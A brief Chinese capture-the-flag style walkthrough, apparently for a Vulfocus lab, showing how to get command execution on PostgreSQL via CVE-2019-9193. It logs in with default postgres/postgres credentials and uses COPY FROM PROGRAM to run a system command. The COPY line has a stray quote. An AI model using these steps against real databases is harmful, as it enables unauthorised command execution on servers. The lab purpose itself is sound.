vuflocus postgresql 命令执行 （cve-2019-9193）

连接数据库

psql --host ip -p port  --username

账号：postgres
密码：postgres

输入命令：

DROP TABLE IF EXISTS cmd_exec #执行删除你想用来保存命令输出但是可能存在的表 
CREATE TABLE cmd_exec(cmd_output text)  #创建保存输出的表
COPY cmd_exec FROM PROGRAM ls /tmp'   #执行系统命令
SELECT * FROM cmd_exec               #显示结果

得到flag